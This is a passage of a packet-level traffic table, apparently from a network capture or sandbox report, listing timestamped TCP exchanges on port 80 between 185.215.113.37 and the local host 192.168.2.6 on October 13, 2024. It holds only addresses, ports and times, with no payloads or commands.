Oct 13, 2024 14:49:18.926512957 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926526070 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926534891 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926543951 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.926553965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926587105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.926587105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.944011927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944025993 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944044113 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944055080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944065094 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944076061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944088936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944147110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.944147110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.944147110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.944147110 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.944164991 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.944215059 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.966399908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966413975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966423988 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966434002 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966456890 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966468096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966469049 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.966480017 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966485023 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.966555119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.966555119 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.968521118 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968578100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.968612909 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968621969 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968632936 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968643904 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968653917 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968661070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.968663931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.968683958 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.968708992 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.969892025 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.969938040 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970125914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970136881 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970148087 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970159054 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970175982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970201969 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970220089 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970232010 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970242977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970268965 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970293999 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970380068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970391035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970401049 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970432043 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970463037 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970532894 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970544100 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970552921 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970562935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970573902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970585108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970586061 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970596075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970623016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970637083 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970639944 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970648050 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970659018 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970669031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970690012 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970719099 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970910072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970921040 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970931053 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970942020 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970952034 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.970957994 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.970987082 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971015930 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971050024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971061945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971098900 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971164942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971177101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971187115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971195936 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971198082 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971208096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971218109 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971220970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971229076 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971240997 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971256018 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971276045 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971313953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971323967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971333981 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971344948 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971354961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971362114 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971370935 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971405029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971405029 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971415043 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971426964 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971437931 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971447945 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971455097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971458912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971473932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971483946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971492052 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971508980 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971544027 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971563101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971575022 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971605062 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971707106 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971718073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971730947 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971738100 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971740961 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971752882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971761942 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971770048 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971776009 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971785069 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:18.971796989 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:18.971821070 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.011245966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011255980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011265039 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011316061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011326075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011334896 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011344910 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.011413097 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.011498928 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014511108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014549971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014559984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014569044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014585972 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014602900 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014614105 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014624119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014635086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014647007 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014686108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014687061 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014686108 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014698029 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014727116 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014739990 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014817953 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014828920 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014837980 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014847994 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014858007 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014858961 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014867067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014877081 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014879942 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014885902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014895916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014895916 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014920950 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014941931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014952898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014964104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014975071 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014985085 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014986038 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.014996052 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.014997959 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.015007019 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.015012026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.015038967 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.016004086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016014099 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016020060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016027927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016037941 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016047955 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.016053915 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.016076088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.016093016 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.032643080 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032823086 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032830000 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.032836914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032846928 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032857895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032867908 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032876015 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.032888889 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.032896996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.032934904 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.033090115 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.033140898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.055226088 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.055346966 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.056701899 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.056711912 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.056777954 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.059943914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.059952974 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.060018063 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.066255093 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.066266060 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.066327095 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.072685003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.072695971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.072705984 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.072748899 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.072779894 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.076905012 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.076915979 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.076963902 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.083283901 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.083293915 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.083302975 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.083342075 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.083370924 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.086899996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.086910963 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.086920977 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.087001085 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.087033987 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.091450930 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.091461897 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.091515064 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.095175028 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.095185995 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.095195055 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.095227957 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.095256090 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.098525047 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.098536015 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.098543882 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.098599911 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.098630905 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.102041006 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.102052927 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.102061987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.102108955 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.105577946 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.105592966 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.105652094 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.109132051 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.109143972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.109153986 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.109188080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.109219074 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.112652063 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.112663031 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.112718105 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.116441011 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.116452932 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.116497993 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.118905067 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.118916035 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.118923903 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.118938923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.118957996 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.118983984 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.121958971 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.121970892 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.122023106 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.124669075 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.124680996 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.124722004 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.127569914 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.127582073 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.127619982 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.130347967 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.130358934 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.130402088 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.133372068 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.133383036 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.133392096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.133421898 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.133450031 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.135531902 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.135543108 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.135587931 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.135618925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.137918949 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.137929916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.137981892 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.140266895 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.140278101 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.140321970 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.142539024 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.142549992 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.142558098 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.142589092 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.142615080 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.144861937 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.144874096 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.144923925 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.147080898 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.147093058 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.147141933 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.149586916 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.149646044 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.151060104 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.151071072 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.151109934 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.151139975 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.152077913 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.152089119 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.152096987 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.152131081 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.152157068 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.154006004 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.154016972 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.154023886 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.154057026 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.154082060 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.161262989 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.161273956 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.161308050 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.161335945 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.162853003 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.162864923 CEST	80	49720	185.215.113.37	192.168.2.6
Oct 13, 2024 14:49:19.162918091 CEST	49720	80	192.168.2.6	185.215.113.37
Oct 13, 2024 14:49:19.164518118 CEST	80	49720	185.215.113.37	192.168.2.6
